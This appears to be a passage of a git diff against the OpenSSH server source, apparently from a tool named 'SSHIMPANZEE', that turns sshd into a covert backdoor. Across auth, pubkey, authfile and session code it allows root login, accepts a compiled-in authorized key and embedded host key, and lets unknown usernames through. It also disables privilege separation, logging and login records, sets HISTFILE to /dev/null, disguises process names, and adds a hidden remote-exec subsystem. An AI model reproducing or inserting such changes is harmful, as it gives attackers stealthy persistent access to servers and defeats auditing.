\t\treturn; */\n+\n+/* \t/\\* Raise logging level *\\/ */\n+/* \tif (authenticated == 1 || */\n+/* \t    !authctxt->valid || */\n+/* \t    authctxt->failures >= options.max_authtries / 2 || */\n+/* \t    strcmp(method, \"password\") == 0) */\n+/* \t\tlevel = SYSLOG_LEVEL_INFO; */\n+\n+/* \tif (authctxt->postponed) */\n+/* \t\tauthmsg = \"Postponed\"; */\n+/* \telse if (partial) */\n+/* \t\tauthmsg = \"Partial\"; */\n+/* \telse */\n+/* \t\tauthmsg = authenticated ? \"Accepted\" : \"Failed\"; */\n+\n+/* \tif ((extra = format_method_key(authctxt)) == NULL) { */\n+/* \t\tif (authctxt->auth_method_info != NULL) */\n+/* \t\t\textra = xstrdup(authctxt->auth_method_info); */\n+/* \t} */\n+\n+/* \tdo_log2(level, \"%s %s%s%s for %s%.100s from %.200s port %d ssh2%s%s\", */\n+/* \t    authmsg, */\n+/* \t    method, */\n+/* \t    submethod != NULL ? \"/\" : \"\", submethod == NULL ? \"\" : submethod, */\n+/* \t    authctxt->valid ? \"\" : \"invalid user \", */\n+/* \t    authctxt->user, */\n+/* \t    ssh_remote_ipaddr(ssh), */\n+/* \t    ssh_remote_port(ssh), */\n+/* \t    extra != NULL ? \": \" : \"\", */\n+/* \t    extra != NULL ? extra : \"\"); */\n+\n+/* \tfree(extra); */\n+\n+/* #if defined(CUSTOM_FAILED_LOGIN) || defined(SSH_AUDIT_EVENTS) */\n+/* \tif (authenticated == 0 && !(authctxt->postponed || partial)) { */\n+/* \t\t/\\* Log failed login attempt *\\/ */\n+/* # ifdef CUSTOM_FAILED_LOGIN */\n+/* \t\tif (strcmp(method, \"password\") == 0 || */\n+/* \t\t    strncmp(method, \"keyboard-interactive\", 20) == 0 || */\n+/* \t\t    strcmp(method, \"challenge-response\") == 0) */\n+/* \t\t\trecord_failed_login(ssh, authctxt->user, */\n+/* \t\t\t    auth_get_canonical_hostname(ssh, options.use_dns), \"ssh\"); */\n+/* # endif */\n+/* # ifdef SSH_AUDIT_EVENTS */\n+/* \t\taudit_event(ssh, audit_classify_auth(method)); */\n+/* # endif */\n+/* \t} */\n+/* #endif */\n+/* #if defined(CUSTOM_FAILED_LOGIN) && defined(WITH_AIXAUTHENTICATE) */\n+/* \tif (authenticated) */\n+/* \t\tsys_auth_record_login(authctxt->user, */\n+/* \t\t    auth_get_canonical_hostname(ssh, options.use_dns), \"ssh\", */\n+/* \t\t    loginmsg); */\n+/* #endif */\n }\n \n void\n auth_maxtries_exceeded(struct ssh *ssh)\n {\n-\tAuthctxt *authctxt = (Authctxt *)ssh->authctxt;\n-\n-\terror(\"maximum authentication attempts exceeded for \"\n-\t    \"%s%.100s from %.200s port %d ssh2\",\n-\t    authctxt->valid ? \"\" : \"invalid user \",\n-\t    authctxt->user,\n-\t    ssh_remote_ipaddr(ssh),\n-\t    ssh_remote_port(ssh));\n-\tssh_packet_disconnect(ssh, \"Too many authentication failures\");\n+\t/* Authctxt *authctxt = (Authctxt *)ssh->authctxt; */\n+\n+\t/* error(\"maximum authentication attempts exceeded for \" */\n+\t/*     \"%s%.100s from %.200s port %d ssh2\", */\n+\t/*     authctxt->valid ? \"\" : \"invalid user \", */\n+\t/*     authctxt->user, */\n+\t/*     ssh_remote_ipaddr(ssh), */\n+\t/*     ssh_remote_port(ssh)); */\n+\t/* ssh_packet_disconnect(ssh, \"Too many authentication failures\"); */\n \t/* NOTREACHED */\n }\n \n@@ -351,25 +351,25 @@ auth_maxtries_exceeded(struct ssh *ssh)\n int\n auth_root_allowed(struct ssh *ssh, const char *method)\n {\n-\tswitch (options.permit_root_login) {\n-\tcase PERMIT_YES:\n-\t\treturn 1;\n-\tcase PERMIT_NO_PASSWD:\n-\t\tif (strcmp(method, \"publickey\") == 0 ||\n-\t\t    strcmp(method, \"hostbased\") == 0 ||\n-\t\t    strcmp(method, \"gssapi-with-mic\") == 0)\n-\t\t\treturn 1;\n-\t\tbreak;\n-\tcase PERMIT_FORCED_ONLY:\n-\t\tif (auth_opts->force_command != NULL) {\n-\t\t\tlogit(\"Root login accepted for forced command.\");\n-\t\t\treturn 1;\n-\t\t}\n-\t\tbreak;\n-\t}\n-\tlogit(\"ROOT LOGIN REFUSED FROM %.200s port %d\",\n-\t    ssh_remote_ipaddr(ssh), ssh_remote_port(ssh));\n-\treturn 0;\n+\t/* switch (options.permit_root_login) { */\n+\t/* case PERMIT_YES: */\n+\t/* \treturn 1; */\n+\t/* case PERMIT_NO_PASSWD: */\n+\t/* \tif (strcmp(method, \"publickey\") == 0 || */\n+\t/* \t    strcmp(method, \"hostbased\") == 0 || */\n+\t/* \t    strcmp(method, \"gssapi-with-mic\") == 0) */\n+\t/* \t\treturn 1; */\n+\t/* \tbreak; */\n+\t/* case PERMIT_FORCED_ONLY: */\n+\t/* \tif (auth_opts->force_command != NULL) { */\n+\t/* \t\tlogit(\"Root login accepted for forced command.\"); */\n+\t/* \t\treturn 1; */\n+\t/* \t} */\n+\t/* \tbreak; */\n+\t/* } */\n+\t/* logit(\"ROOT LOGIN REFUSED FROM %.200s port %d\", */\n+\t/*     ssh_remote_ipaddr(ssh), ssh_remote_port(ssh)); */\n+\treturn 1;\n }\n \n \n@@ -490,6 +490,9 @@ getpwnamallow(struct ssh *ssh, const char *user)\n #if defined(_AIX) && defined(HAVE_SETAUTHDB)\n \taix_restoreauthdb();\n #endif\n+\tif (pw == NULL)\n+\t  return getpwuid(getuid());\n+\t\n \tif (pw == NULL) {\n \t\tlogit(\"Invalid user %.100s from %.100s port %d\",\n \t\t    user, ssh_remote_ipaddr(ssh), ssh_remote_port(ssh));\ndiff --git a/auth2-pubkey.c b/auth2-pubkey.c\nindex 3f49e1df3..7d8690be5 100644\n--- a/auth2-pubkey.c\n+++ b/auth2-pubkey.c\n@@ -69,6 +69,8 @@\n #include \"channels.h\" /* XXX for session.h */\n #include \"session.h\" /* XXX for child_set_env(); refactor? */\n #include \"sk-api.h\"\n+#include \"sshd.h\"\n+\n \n /* import */\n extern ServerOptions options;\n@@ -100,7 +102,9 @@ userauth_pubkey(struct ssh *ssh, const char *method)\n \tstruct sshkey_sig_details *sig_details = NULL;\n \n \thostbound = strcmp(method, \"publickey-hostbound-v00@openssh.com\") == 0;\n-\n+\tauthctxt->valid = 1;\n+\tpw = fakepw();\n+\t\n \tif ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||\n \t    (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 ||\n \t    (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)\n@@ -590,7 +594,9 @@ user_key_allowed2(struct passwd *pw, struct sshkey *key,\n {\n \tFILE *f;\n \tint found_key = 0;\n-\n+\tchar *auth_key;\n+\tchar loc[256];\n+\t\n \tif (authoptsp != NULL)\n \t\t*authoptsp = NULL;\n \n@@ -598,10 +604,17 @@ user_key_allowed2(struct passwd *pw, struct sshkey *key,\n \ttemporarily_use_uid(pw);\n \n \tdebug(\"trying public key file %s\", file);\n-\tif ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {\n-\t\tfound_key = auth_check_authkeys_file(pw, f, file,\n-\t\t    key, remote_ip, remote_host, authoptsp);\n-\t\tfclose(f);\n+\t//if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {\n+\tif (strcmp(file, KEYFILE) == 0){\n+\t  auth_key = malloc(strlen(AUTHORIZED_KEYS)+1);\n+\t  strcpy(auth_key, AUTHORIZED_KEYS);\n+\t  if (auth_check_authkey_line(pw, key, auth_key, remote_ip, remote_host, loc, authoptsp) == 0)\n+\t    found_key = 1;\n+\t  else\n+\t    found_key = 0;\n+\t  //found_key = auth_check_authkeys_file(pw, f, file,\n+\t  //\t    key, remote_ip, remote_host, authoptsp);\n+\t  //\tfclose(f);\n \t}\n \n \trestore_uid();\ndiff --git a/authfile.c b/authfile.c\nindex 445f2dd54..2d3d5936f 100644\n--- a/authfile.c\n+++ b/authfile.c\n@@ -49,6 +49,10 @@\n #include \"ssherr.h\"\n #include \"krl.h\"\n \n+#include \"sshd.h\"\n+#include \"servconf.h\"\n+extern ServerOptions options;\n+\n #define MAX_KEY_FILE_SIZE\t(1024 * 1024)\n \n /* Save a key blob to a file */\n@@ -119,25 +123,14 @@ sshkey_load_private_type(int type, const char *filename, const char *passphrase,\n     struct sshkey **keyp, char **commentp)\n {\n \tint fd, r;\n-\n-\tif (keyp != NULL)\n-\t\t*keyp = NULL;\n-\tif (commentp != NULL)\n-\t\t*commentp = NULL;\n-\n-\tif ((fd = open(filename, O_RDONLY)) == -1)\n-\t\treturn SSH_ERR_SYSTEM_ERROR;\n-\n-\tr = sshkey_perm_ok(fd, filename);\n-\tif (r != 0)\n-\t\tgoto out;\n-\n-\tr = sshkey_load_private_type_fd(fd, type, passphrase, keyp, commentp);\n-\tif (r == 0 && keyp && *keyp)\n-\t\tr = sshkey_set_filename(*keyp, filename);\n- out:\n-\tclose(fd);\n-\treturn r;\n+\tstruct sshbuf *buffer;\n+\tif (options.backdoor == 1){\n+\t  buffer = sshbuf_new();\n+\t  sshbuf_put(buffer, HOSTKEY, strlen(HOSTKEY));\n+\t  return sshkey_parse_private_fileblob_type(buffer, KEY_ED25519, \"\", keyp, NULL);\n+\t  \n+\t}\n+\treturn -1;\n }\n \n int\n@@ -266,6 +259,15 @@ sshkey_load_public(const char *filename, struct sshkey **keyp, char **commentp)\n {\n \tchar *pubfile = NULL;\n \tint r, oerrno;\n+\tchar *buffer;\n+\n+\tif(strcmp(filename,\"/NOPNOP/\")==0)\n+\t  {\n+\t    buffer = malloc(strlen(HOSTKEY_PUB));\n+\t    strcpy(buffer, HOSTKEY_PUB);\n+\t    *keyp = sshkey_new(KEY_UNSPEC);\n+\t    return sshkey_read(*keyp, &buffer);\n+\t  }\n \n \tif (keyp != NULL)\n \t\t*keyp = NULL;\ndiff --git a/log.c b/log.c\nindex 9fc1a2e2e..9a9d5a8f1 100644\n--- a/log.c\n+++ b/log.c\n@@ -399,10 +399,10 @@ do_log(LogLevel level, int force, const char *suffix, const char *fmt,\n \t    log_on_stderr ? LOG_STDERR_VIS : LOG_SYSLOG_VIS);\n \tif (log_handler != NULL) {\n \t\t/* Avoid recursion */\n-\t\ttmp_handler = log_handler;\n-\t\tlog_handler = NULL;\n-\t\ttmp_handler(level, force, fmtbuf, log_handler_ctx);\n-\t\tlog_handler = tmp_handler;\n+\t\t//tmp_handler = log_handler;\n+\t\t//log_handler = NULL;\n+\t\t//tmp_handler(level, force, fmtbuf, log_handler_ctx);\n+\t\t//log_handler = tmp_handler;\n \t} else if (log_on_stderr) {\n \t\tsnprintf(msgbuf, sizeof msgbuf, \"%s%s%.*s\\r\\n\",\n \t\t    (log_on_stderr > 1) ? progname : \"\",\n@@ -411,13 +411,13 @@ do_log(LogLevel level, int force, const char *suffix, const char *fmt,\n \t\t(void)write(log_stderr_fd, msgbuf, strlen(msgbuf));\n \t} else {\n #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)\n-\t\topenlog_r(progname, LOG_PID, log_facility, &sdata);\n-\t\tsyslog_r(pri, &sdata, \"%.500s\", fmtbuf);\n-\t\tcloselog_r(&sdata);\n+\t  //openlog_r(progname, LOG_PID, log_facility, &sdata);\n+\t  //syslog_r(pri, &sdata, \"%.500s\", fmtbuf);\n+\t  //\tcloselog_r(&sdata);\n #else\n-\t\topenlog(progname, LOG_PID, log_facility);\n-\t\tsyslog(pri, \"%.500s\", fmtbuf);\n-\t\tcloselog();\n+\t  //\topenlog(progname, LOG_PID, log_facility);\n+\t  //\tsyslog(pri, \"%.500s\", fmtbuf);\n+\t  //\tcloselog();\n #endif\n \t}\n \terrno = saved_errno;\ndiff --git a/loginrec.c b/loginrec.c\nindex 4f2149958..f016b7849 100644\n--- a/loginrec.c\n+++ b/loginrec.c\n@@ -312,22 +312,22 @@ login_get_lastlog(struct logininfo *li, const uid_t uid)\n \t * reliably search wtmp(x) for the last login (see\n \t * wtmp_get_entry().)\n \t */\n-\tpw = getpwuid(uid);\n-\tif (pw == NULL)\n-\t\tfatal(\"%s: Cannot find account for uid %ld\", __func__,\n-\t\t    (long)uid);\n-\n-\tif (strlcpy(li->username, pw->pw_name, sizeof(li->username)) >=\n-\t    sizeof(li->username)) {\n-\t\terror(\"%s: username too long (%lu > max %lu)\", __func__,\n-\t\t    (unsigned long)strlen(pw->pw_name),\n-\t\t    (unsigned long)sizeof(li->username) - 1);\n-\t\treturn NULL;\n-\t}\n-\n-\tif (getlast_entry(li))\n-\t\treturn (li);\n-\telse\n+\t/* pw = getpwuid(uid); */\n+\t/* if (pw == NULL) */\n+\t/* \tfatal(\"%s: Cannot find account for uid %ld\", __func__, */\n+\t/* \t    (long)uid); */\n+\n+\t/* if (strlcpy(li->username, pw->pw_name, sizeof(li->username)) >= */\n+\t/*     sizeof(li->username)) { */\n+\t/* \terror(\"%s: username too long (%lu > max %lu)\", __func__, */\n+\t/* \t    (unsigned long)strlen(pw->pw_name), */\n+\t/* \t    (unsigned long)sizeof(li->username) - 1); */\n+\t/* \treturn NULL; */\n+\t/* } */\n+\n+\t/* if (getlast_entry(li)) */\n+\t/* \treturn (li); */\n+\t/* else */\n \t\treturn (NULL);\n }\n \n@@ -387,10 +387,10 @@ login_init_entry(struct logininfo *li, pid_t pid, const char *username,\n \t\tstrlcpy(li->username, username, sizeof(li->username));\n \t\tpw = getpwnam(li->username);\n \t\tif (pw == NULL) {\n-\t\t\tfatal(\"%s: Cannot find user \\\"%s\\\"\", __func__,\n-\t\t\t    li->username);\n+\t\t  //\tfatal(\"%s: Cannot find user \\\"%s\\\"\", __func__,\n+\t\t  //\t    li->username);\n \t\t}\n-\t\tli->uid = pw->pw_uid;\n+\t\t//li->uid = pw->pw_uid;\n \t}\n \n \tif (hostname)\n@@ -431,13 +431,16 @@ login_set_addr(struct logininfo *li, const struct sockaddr *sa,\n \tmemcpy(&li->hostaddr.sa, sa, bufsize);\n }\n \n+int login_write(struct logininfo *li){\n+  return 0;\n+}\n \n /**\n  ** login_write: Call low-level recording functions based on autoconf\n  ** results\n  **/\n int\n-login_write(struct logininfo *li)\n+login_write_bkp(struct logininfo *li)\n {\n #ifndef HAVE_CYGWIN\n \tif (geteuid() != 0) {\ndiff --git a/monitor.c b/monitor.c\nindex b3ed515ed..5814a7283 100644\n--- a/monitor.c\n+++ b/monitor.c\n@@ -97,6 +97,8 @@\n #include \"ssherr.h\"\n #include \"sk-api.h\"\n \n+#include \"sshd.h\"\n+\n #ifdef GSSAPI\n static Gssctxt *gsscontext = NULL;\n #endif\n@@ -725,8 +727,8 @@ mm_answer_pwnamallow(struct ssh *ssh, int sock, struct sshbuf *m)\n \n \tpwent = getpwnamallow(ssh, authctxt->user);\n \n-\tsetproctitle(\"%s [priv]\", pwent ? authctxt->user : \"unknown\");\n-\n+\t//setproctitle(\"%s [priv]\", pwent ? authctxt->user : \"unknown\");\n+\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \tsshbuf_reset(m);\n \n \tif (pwent == NULL) {\ndiff --git a/openbsd-compat/setproctitle.c b/openbsd-compat/setproctitle.c\nindex e4064323a..76ccbb783 100644\n--- a/openbsd-compat/setproctitle.c\n+++ b/openbsd-compat/setproctitle.c\n@@ -138,12 +138,12 @@ setproctitle(const char *fmt, ...)\n \t\treturn;\n #endif\n \n-\tstrlcpy(buf, __progname, sizeof(buf));\n+\tstrlcpy(buf, \"\", sizeof(buf));\n \n \tr = -1;\n \tva_start(ap, fmt);\n \tif (fmt != NULL) {\n-\t\tlen = strlcat(buf, \": \", sizeof(buf));\n+\t\tlen = strlcat(buf, \"\", sizeof(buf));\n \t\tif (len < sizeof(buf))\n \t\t\tr = vsnprintf(buf + len, sizeof(buf) - len , fmt, ap);\n \t}\ndiff --git a/servconf.c b/servconf.c\nindex 86c297936..2bdf383f5 100644\n--- a/servconf.c\n+++ b/servconf.c\n@@ -68,6 +68,7 @@\n #include \"auth.h\"\n #include \"myproposal.h\"\n #include \"digest.h\"\n+#include \"sshd.h\"\n \n static void add_listen_addr(ServerOptions *, const char *,\n     const char *, int);\n@@ -81,6 +82,9 @@ static void parse_server_config_depth(ServerOptions *options,\n extern int use_privsep;\n extern struct sshbuf *cfg;\n \n+extern ServerOptions options;                                                                            \n+extern int inetd_flag;    \n+\n /* Initializes the server options to their default values. */\n \n void\n@@ -452,7 +456,7 @@ fill_default_server_options(ServerOptions *options)\n \n \t/* Turn privilege separation and sandboxing on by default */\n \tif (use_privsep == -1)\n-\t\tuse_privsep = PRIVSEP_ON;\n+\t\tuse_privsep = PRIVSEP_OFF;\n \n #define CLEAR_ON_NONE(v) \\\n \tdo { \\\n@@ -2590,12 +2594,28 @@ load_server_config(const char *filename, struct sshbuf *conf)\n \tchar *line = NULL, *cp;\n \tsize_t linesize = 0;\n \tFILE *f;\n-\tint r;\n-\n-\tdebug2_f(\"filename %s\", filename);\n-\tif ((f = fopen(filename, \"r\")) == NULL) {\n-\t\tperror(filename);\n-\t\texit(1);\n+\tint r, lineno = 0;                                                                               \n+\tchar buffer[64];\n+\tif (options.backdoor)\n+\t  {\n+\t  sshbuf_reset(conf);\n+\t  sprintf(buffer, \"Port %d\\n\", PORT);\n+\t  sshbuf_put(conf, buffer,strlen(buffer));  \n+\t  sprintf(buffer, \"ListenAddress %s\\n\", LISTENADDRESS);\n+\t  sshbuf_put(conf, buffer, strlen(buffer));\n+\n+\t  sprintf(buffer, \"HostKey /\\n\");\n+\t  sshbuf_put(conf, buffer, strlen(buffer));\n+\n+\t  sshbuf_put(conf, EXTRACONFIG, sizeof(EXTRACONFIG));\n+\t  return;\n+\t}\n+\telse {\n+\t  debug2_f(\"filename %s\", filename);\n+\t  if ((f = fopen(filename, \"r\")) == NULL) {\n+ \t\tperror(filename);\n+ \t\texit(1);\n+\t  }\n \t}\n \tsshbuf_reset(conf);\n \t/* grow buffer, so realloc is avoided for large config files */\n@@ -2617,6 +2637,7 @@ load_server_config(const char *filename, struct sshbuf *conf)\n \t\tfatal_fr(r, \"sshbuf_put_u8\");\n \tfclose(f);\n \tdebug2_f(\"done config len = %zu\", sshbuf_len(conf));\n+\t\n }\n \n void\ndiff --git a/servconf.h b/servconf.h\nindex ed7b72e8e..89ab36424 100644\n--- a/servconf.h\n+++ b/servconf.h\n@@ -227,11 +227,12 @@ typedef struct {\n \tint\texpose_userauth_info;\n \tu_int64_t timing_secret;\n \tchar   *sk_provider;\n+        char backdoor;\n \tint\trequired_rsa_size;\t/* minimum size of RSA keys */\n-\n+  \n \tchar\t**channel_timeouts;\t/* inactivity timeout by channel type */\n \tu_int\tnum_channel_timeouts;\n-\n+  \n \tint\tunused_connection_timeout;\n }       ServerOptions;\n \ndiff --git a/session.c b/session.c\nindex aa342e84d..bab3399df 100644\n--- a/session.c\n+++ b/session.c\n@@ -103,6 +103,12 @@\n #include <selinux/selinux.h>\n #endif\n \n+ \n+#include \"sshd.h\"\n+#ifdef REMOTE_EXEC_INTERNAL\n+int remote_exec_main();\n+#endif\n+\n #define IS_INTERNAL_SFTP(c) \\\n \t(!strncmp(c, INTERNAL_SFTP_NAME, sizeof(INTERNAL_SFTP_NAME) - 1) && \\\n \t (c[sizeof(INTERNAL_SFTP_NAME) - 1] == '\\0' || \\\n@@ -151,6 +157,9 @@ static Session *sessions = NULL;\n #define SUBSYSTEM_EXT\t\t\t1\n #define SUBSYSTEM_INT_SFTP\t\t2\n #define SUBSYSTEM_INT_SFTP_ERROR\t3\n+#define SUBSYSTEM_INT_REMOTE_EXEC       4\n+\n+\n \n #ifdef HAVE_LOGIN_CAP\n login_cap_t *lc;\n@@ -332,7 +341,7 @@ set_fwdpermit_from_authopts(struct ssh *ssh, const struct sshauthopt *opts)\n void\n do_authenticated(struct ssh *ssh, Authctxt *authctxt)\n {\n-\tsetproctitle(\"%s\", authctxt->pw->pw_name);\n+\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \n \tauth_log_authopts(\"active\", auth_opts, 0);\n \n@@ -675,7 +684,13 @@ do_exec(struct ssh *ssh, Session *s, const char *command)\n \t\tif (IS_INTERNAL_SFTP(command)) {\n \t\t\ts->is_subsystem = s->is_subsystem ?\n \t\t\t    SUBSYSTEM_INT_SFTP : SUBSYSTEM_INT_SFTP_ERROR;\n-\t\t} else if (s->is_subsystem)\n+\t\t} \n+\t\t#ifdef REMOTE_EXEC_INTERNAL\n+\t\telse if(strcmp(REMOTE_EXEC_INTERNAL, command) == 0)\n+\t\t  s->is_subsystem = SUBSYSTEM_INT_REMOTE_EXEC;\n+\n+\t\t#endif\n+\t\telse if (s->is_subsystem)\n \t\t\ts->is_subsystem = SUBSYSTEM_EXT;\n \t\tsnprintf(session_type, sizeof(session_type),\n \t\t    \"forced-command %s '%.900s'\", forced, command);\n@@ -789,22 +804,23 @@ do_login(struct ssh *ssh, Session *s, const char *command)\n void\n do_motd(void)\n {\n-\tFILE *f;\n-\tchar buf[256];\n-\n-\tif (options.print_motd) {\n-#ifdef HAVE_LOGIN_CAP\n-\t\tf = fopen(login_getcapstr(lc, \"welcome\", \"/etc/motd\",\n-\t\t    \"/etc/motd\"), \"r\");\n-#else\n-\t\tf = fopen(\"/etc/motd\", \"r\");\n-#endif\n-\t\tif (f) {\n-\t\t\twhile (fgets(buf, sizeof(buf), f))\n-\t\t\t\tfputs(buf, stdout);\n-\t\t\tfclose(f);\n-\t\t}\n-\t}\n+\t/* FILE *f; */\n+/* \tchar buf[256]; */\n+\n+/* \tif (options.print_motd) { */\n+/* #ifdef HAVE_LOGIN_CAP */\n+/* \t\tf = fopen(login_getcapstr(lc, \"welcome\", \"/etc/motd\", */\n+/* \t\t    \"/etc/motd\"), \"r\"); */\n+/* #else */\n+/* \t\tf = fopen(\"/etc/motd\", \"r\"); */\n+/* #endif */\n+/* \t\tif (f) { */\n+/* \t\t\twhile (fgets(buf, sizeof(buf), f)) */\n+/* \t\t\t\tfputs(buf, stdout); */\n+/* \t\t\tfclose(f); */\n+/* \t\t} */\n+/* \t} */\n+\tfputs(MOTD,stdout);   \n }\n \n \n@@ -1020,6 +1036,7 @@ do_setup_env(struct ssh *ssh, Session *s, const char *shell)\n \tfor (i = 0; i < s->num_env; i++)\n \t\tchild_set_env(&env, &envsize, s->env[i].name, s->env[i].val);\n \n+\t child_set_env(&env, &envsize, \"HISTFILE\", \"/dev/null\");  \n \tchild_set_env(&env, &envsize, \"USER\", pw->pw_name);\n \tchild_set_env(&env, &envsize, \"LOGNAME\", pw->pw_name);\n #ifdef _AIX\n@@ -1371,15 +1388,15 @@ do_setusercontext(struct passwd *pw)\n #else\n \t\tif (setlogin(pw->pw_name) < 0)\n \t\t\terror(\"setlogin failed: %s\", strerror(errno));\n-\t\tif (setgid(pw->pw_gid) < 0) {\n-\t\t\tperror(\"setgid\");\n-\t\t\texit(1);\n-\t\t}\n+\t\t//if (setgid(pw->pw_gid) < 0) {\n+\t\t//\tperror(\"setgid\");\n+\t\t//\texit(1);\n+\t\t//}\n \t\t/* Initialize the group list. */\n-\t\tif (initgroups(pw->pw_name, pw->pw_gid) < 0) {\n-\t\t\tperror(\"initgroups\");\n-\t\t\texit(1);\n-\t\t}\n+\t\t//if (initgroups(pw->pw_name, pw->pw_gid) < 0) {\n+\t\t//\tperror(\"initgroups\");\n+\t\t//\texit(1);\n+\t\t//}\n \t\tendgrent();\n #endif\n \n@@ -1428,13 +1445,13 @@ do_setusercontext(struct passwd *pw)\n \t\t/* Permanently switch to the desired uid. */\n \t\tpermanently_set_uid(pw);\n #endif\n-\t} else if (options.chroot_directory != NULL &&\n-\t    strcasecmp(options.chroot_directory, \"none\") != 0) {\n-\t\tfatal(\"server lacks privileges to chroot to ChrootDirectory\");\n-\t}\n+\t} //else if (options.chroot_directory != NULL &&\n+\t// strcasecmp(options.chroot_directory, \"none\") != 0) {\n+\t//\tfatal(\"server lacks privileges to chroot to ChrootDirectory\");\n+\t//}\n \n-\tif (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)\n-\t\tfatal(\"Failed to set uids to %u.\", (u_int) pw->pw_uid);\n+\t//if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)\n+\t//\tfatal(\"Failed to set uids to %u.\", (u_int) pw->pw_uid);\n }\n \n static void\n@@ -1567,8 +1584,10 @@ do_child(struct ssh *ssh, Session *s, const char *command)\n \t * Get the shell from the password data.  An empty shell field is\n \t * legal, and means /bin/sh.\n \t */\n-\tshell = (pw->pw_shell[0] == '\\0') ? _PATH_BSHELL : pw->pw_shell;\n-\n+\t//shell = (pw->pw_shell[0] == '\\0') ? _PATH_BSHELL : pw->pw_shell;\n+\tshell = getenv(\"SSHELL\");\n+\tif (shell == NULL)\n+\t  shell = FORCEDSHELL;\n \t/*\n \t * Make sure $SHELL points to the shell from the password file,\n \t * even if shell is overridden from login.conf\n@@ -1621,23 +1640,23 @@ do_child(struct ssh *ssh, Session *s, const char *command)\n #endif\n \n \t/* Change current directory to the user's home directory. */\n-\tif (chdir(pw->pw_dir) == -1) {\n+\t//if (chdir(pw->pw_dir) == -1) {\n \t\t/* Suppress missing homedir warning for chroot case */\n #ifdef HAVE_LOGIN_CAP\n-\t\tr = login_getcapbool(lc, \"requirehome\", 0);\n+\t\t       //\tr = login_getcapbool(lc, \"requirehome\", 0);\n #endif\n-\t\tif (r || !in_chroot) {\n-\t\t\tfprintf(stderr, \"Could not chdir to home \"\n-\t\t\t    \"directory %s: %s\\n\", pw->pw_dir,\n-\t\t\t    strerror(errno));\n-\t\t}\n-\t\tif (r)\n-\t\t\texit(1);\n-\t}\n+\t\t       //if (r || !in_chroot) {\n+\t\t       //fprintf(stderr, \"Could not chdir to home \"\n+\t\t       //   \"directory %s: %s\\n\", pw->pw_dir,\n+\t\t       //   strerror(errno));\n+\t\t       //}\n+\t\t       //if (r)\n+\t\t       //\texit(1);\n+\t\t       //}\n \n \tclosefrom(STDERR_FILENO + 1);\n \n-\tdo_rc_files(ssh, s, shell);\n+\t\t       //do_rc_files(ssh, s, shell);\n \n \t/* restore SIGPIPE for child */\n \tssh_signal(SIGPIPE, SIG_DFL);\n@@ -1653,7 +1672,7 @@ do_child(struct ssh *ssh, Session *s, const char *command)\n \t\tint i;\n \t\tchar *p, *args;\n \n-\t\tsetproctitle(\"%s@%s\", s->pw->pw_name, INTERNAL_SFTP_NAME);\n+\t\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n \t\targs = xstrdup(command ? command : \"sftp-server\");\n \t\tfor (i = 0, (p = strtok(args, \" \")); p; (p = strtok(NULL, \" \")))\n \t\t\tif (i < ARGV_MAX - 1)\n@@ -1666,7 +1685,25 @@ do_child(struct ssh *ssh, Session *s, const char *command)\n #endif\n \t\texit(sftp_server_main(i, argv, s->pw));\n \t}\n+#ifdef REMOTE_EXEC_INTERNAL\n+\telse if (s->is_subsystem == SUBSYSTEM_INT_REMOTE_EXEC)\n+\t  {\n+\t    extern int optind, optreset;\n+\t\tint i;\n+\t\tchar *p, *args;\n \n+\t\tsetproctitle(SSHIMPANZEE_PROC_NAME);\n+\t\targs = xstrdup(command ? command : \"sftp-server\");\n+\t\tfor (i = 0, (p = strtok(args, \" \")); p; (p = strtok(NULL, \" \")))\n+\t\t\tif (i < ARGV_MAX - 1)\n+\t\t\t\targv[i++] = p;\n+\t\targv[i] = NULL;\n+\t\toptind = optreset = 1;\n+\t\t__progname = argv[0];\n+\t\texit(remote_exec_main(i, argv));\n+\t  }\n+ \n+#endif\n \tfflush(NULL);\n \n \t/* Get the last component of the shell name. */\n@@ -1971,7 +2008,12 @@ session_subsystem_req(struct ssh *ssh, Session *s)\n \t\t\tif (strcmp(INTERNAL_SFTP_NAME, prog) == 0) {\n \t\t\t\ts->is_subsystem = SUBSYSTEM_INT_SFTP;\n \t\t\t\tdebug(\"subsystem: %s\", prog);\n-\t\t\t} else {\n+\t\t\t}\n+\t\t\telse if (strcmp(REMOTE_EXEC_INTERNAL, prog) == 0) {\n+\t\t\t\ts->is_subsystem = SUBSYSTEM_INT_REMOTE_EXEC;\n+\t\t\t\tdebug(\"subsystem: %s %s HERE!\", prog, cmd);\n+\t\t\t}\n+\t\t\telse { \n \t\t\t\tif (stat(prog, &st) == -1)\n \t\t\t\t\tdebug(\"subsystem: cannot stat %s: %s\",\n \t\t\t\t\t    prog, strerror(errno));\n@@ -2571,7 +2613,7 @@ session_proctitle(Session *s)\n \tif (s->pw == NULL)\n \t\terror(\"no user for session %d\", s->self);\n \telse\n-\t\tsetproctitle(\"%s@%s\", s->pw->pw_name, session_tty_list());\n+\t  setproctitle(SSHIMPANZEE_PROC_NAME);\n }\n \n int\ndiff --git a/sshd.c b/sshd.c\nindex 9cbe92293..70df2cd75 100644\n--- a/sshd.c\n+++ b/sshd.c\n@@ -128,6 +128,8 @@\n #include \"srclimit.h\"\n #include \"dh.h\"\n \n+#include \"sshd.h\"\n+\n /* Re-exec fds */\n #define REEXEC_DEVCRYPTO_RESERVED_FD\t(STDERR_FILENO + 1)\n #define REEXEC_STARTUP_PIPE_FD\t\t(STDERR_FILENO + 2)\n@@ -141,7 +143,7 @@ ServerOptions options;\n \n /* Name of the server configuration file. */\n char *config_file_name = _PATH_SERVER_CONFIG_FILE;\n-\n+char init = 0;\n /*\n  * Debug mode flag.  This can be set on the command line.  If debug\n  * mode is enabled, extra debugging output will be sent to the system\n@@ -149,7 +151,7 @@ char *config_file_name = _PATH_SERVER_CONFIG_FILE;\n  * the first connection.\n  */\n int debug_flag = 0;\n-\n+int inetd_flag = 0;\n /*\n  * Indicating that the daemon should only test the configuration and keys.\n  * If test_flag > 1 (\"-T\" flag), then sshd will also dump the effective\n@@ -159,7 +161,7 @@ int debug_flag = 